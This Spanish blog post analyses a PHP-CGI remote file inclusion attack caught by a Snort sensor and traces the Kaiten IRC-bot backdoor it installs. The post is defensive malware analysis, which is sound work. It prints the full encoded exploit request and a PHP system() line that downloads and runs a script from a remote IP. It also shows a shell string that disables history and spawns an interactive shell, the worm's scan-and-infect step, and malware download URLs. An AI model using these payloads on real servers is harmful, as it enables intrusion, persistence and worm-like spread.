Entre los debates más manidos en los círculos de seguridad informática y administración de sistemas, junto a qué es el hacking, qué lenguaje es mejor para scripting, el responsible versus el full disclosure, nos encontramos con uno de los que podría ser trending topic: ¿Qué Sistema Operativo es mejor? Argumentos como la compatibilidad o la cantidad de software y drivers existentes, hacen que Windows se lleve la palma. Por contra la usabilidad, el cuidado diseño y el hardware utilizado nos invitan a quedarnos con Mac OS X. Sin embargo, los defensores de la estabilidad y la seguridad nos hacen decantarnos por Linux sin duda alguna. En este rifi rafe, claramente Windows es el que mayor catálogo de piezas de malware tiene, seguido de lejos por Linux y Mac. Pese a ser basados estos últimos en UNIX, cierto es que en Linux, al ser menos hermético que Mac, nos permite configurar mucho mejor la seguridad y entender qué está haciendo el sistema operativo en cada momento.
Sin embargo, y pese a que es cierto que el porcentaje de malware y de vulnerabilidades no es tan popular en los entornos del pingüino, el que esté libre de malware que tire la primera piedra.
Revisar los logs producidos por diferentes sistemas de seguridad perimetral es una de las tareas que todo entusiasta o integrante de un departamento de seguridad tiene que hacer de forma permanente. Ya no sólo por asegurar que todo está correcto, sino también por aprender de los ataques recibidos y dormir tranquilo sabiendo que todo ha sido bloqueado, o montar un gabinete de crisis para gestionar un incidente de seguridad.
En este caso, revisando los logs producidos por una sonda Snort, encargada de analizar el tráfico recibido por un servidor web (que como podréis imaginar, es de los servicios que más peticiones y más aberraciones recibe) me encontré con múltiples ocurrencias de un evento de tipo RFI (Remote File Inclusion): "SERVER-WEBAPP PHP-CGI remote file include attempt"
La parte interesante y complicada de ver a simple vista es el payload: POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Como se puede ver, la petición viene “ofuscada” mediante URL Encoding, a fin de evadir precisamente a algunos IDS (e incluso WAFs). Realmente, el contenido de la URL en la petición POST es: POST /cgi-bin/php-cgi?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D""+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2F%2Finput+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n
Es decir, configura de forma débil ciertos parámetros de PHP para ejecutar lo que viene en el POST DATA:
<?php system("wget http://219.122.43.173/sh -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");
Aha, o sea que lo que ejecuta, en el lado servidor es un: “Descarga el fichero sh que está en 219.122.43.173 (en Japón) y déjalo en /tmp/sh, ejecútalo y bórralo sin dejar rastro”….
¿Qué tiene dentro el fichero sh? La curiosidad mató al gato, así que lo mejor para salir de dudas, es descargarlo y verlo:
Básicamente: Descárgate dentro del directorio /dev/shm (localización utilizada en Linux para memoria compartida, con formato tmpfs, es decir, donde a nadie se le ocurriría mirar) el fichero xx desde un servidor que está en Vietnam, hazlo "invisible" haciendo que empiece por '.' y ejecútalo. Descarga otro fichero llamado ru y otro llamado rr, y ejecuta ambos y bórralos de ahí. A partir de ahí mata un montón de procesos que están en memoria, y añade al cron la tarea de hacer esto semanalmente (por si alguien lo descubre y lo borra, así mantenemos la persistencia)
Si analizamos uno a uno los tres binarios xx, ru y rr, se puede ver lo siguiente.
Si le hacemos un strings a “xx”, podemos ver varios indicios que dejan clara la funcionalidad del binario: un bot de IRC que permite hacer Denegación de Servicio a un host determinado backdoorizando la máquina en la que se ejecuta.
Si buscamos la cadena mágica "Kaiten wa Goraku” que aparece en el subset de strings mencionado arriba, nos lleva directos al código fuente del Backdoor Kaiten
El fichero ru, es un fichero BASH que se descarga un fichero u otro dependiendo de la arquitectura del sistema 86.tgz o 64.tgz almacenados en un servidor que está en Hungría, descomprime el contenido y lo ejecuta:
Llegado a este punto, descargué 64.tgz y lo descomprimí. En concreto aparecieron tres ficheros: run, php y pnscan.
run es un script en BASH que contiene lo siguiente:
Es decir, genera un número aleatorio, y lanza el binario pnscan con parámetros que escanea rangos de red aleatorios.
De hecho, está claro que pnscan es un scanner de puertos, ya no sólo porque lo indique el nombre, sino que lo podemos comprobar en un strings del mismo
Usage: %s [] [{| } | ]
This program implements a multithreaded TCP port scanner.
More information may be found at:
http://www.lysator.liu.se/~pen/pnscan
Command line options:
-h Display this information.
-V Print version.
-d Print debugging info.
-s Lookup and print hostnames.
-i Ignore case when scanning responses.
-S Enable shutdown mode.
-l Line oriented output.
-w Request string to send.
-W Hex coded request string to send.
-r Response string to look for.
-R Hex coded response string to look for.
-L Max bytes to print.
-t Connect/Write/Read timeout.
-n Concurrent worker threads limit.
%s: Invalid length specification: %s
%s: Invalid timeout specification: %s
%s: Invalid workers specification: %s
%s: unknown command line switch: -%c
%s: Failed search string setup: %s
%s: Missing or extra argument(s). Use '-h' for help.
%s: Invalid IP address range: %s
Y el fichero php descargado ¿para qué vale? Pues fundamentalmente, dentro de pnscan, se encuentra la resolución de esa incógnita:
./php --target %s --port 80 --protocol http --reverse-ip 12.8.8.8 --reverse-port 80
Es decir, cuando pnscan encuentra un servidor vulnerable, llama a php, que en su interior lleva el veneno que hace la petición:
POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close
Llama la atención también el valor de la variable $shell, de manera que cada vez que llama a Bash, deshabilite el registro de comandos ejecutados en el fichero .bash_history, así como el número de comandos ejecutados que se guardan en memoria, mira info del kernel y la arquitectura, qué usuarios tienen una sesión abierta en el sistema, y el id del usuario que está ejecutando la shell. Después de esto, dame una shell interactiva
$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';
Por tanto, podemos decir, que Kaiten, sigue el patrón de funcionamiento de cualquier malware:
1.-) Compromete el sistema, en este caso backdooriza la máquina Linux (para la que no hay malware, claro está ;D), borra sus huellas y trazas (incluso elimina el fichero /var/log/messages y modifica parámetros de syslog para que no registre eventos)
2.-) Busca forma de mantener persistencia al arranque o borrado, insertando una tarea programada en el cron del sistema,
3.-) Intenta propagarse a sí misma con un comportamiento de gusano, buscando servidores vulnerables a través de internet.
Para todo este proceso, utiliza diferentes servidores desplegados por Asia fundamentalmente (al menos la muestra que yo he analizado aquí): Japón, Vietnam, Korea,… e incluso Hungría para descargar los ficheros 86.tgz y 64.tgz. Googleando, dí con un par de versiones que tiran de otros dominios como http://member.pure-hearts.info/plugins/access.ssh/64.tgz y http://member.pure-hearts.info/plugins/access.ssh/86.tgz, claramente web vulneradas en las que los atancantes utilizan como repositorios de descarga de estos ficheros para otras muestras que estén escaneando internet, y de las que son eliminados los ficheros con una frecuencia mayor.
Y todo este tinglado, con una simple petición desde vaya usted a saber qué parte del mundo, hace que tu inocente servidor web, por estar mal configurado y securizado, pueda llegar a tener vida propia.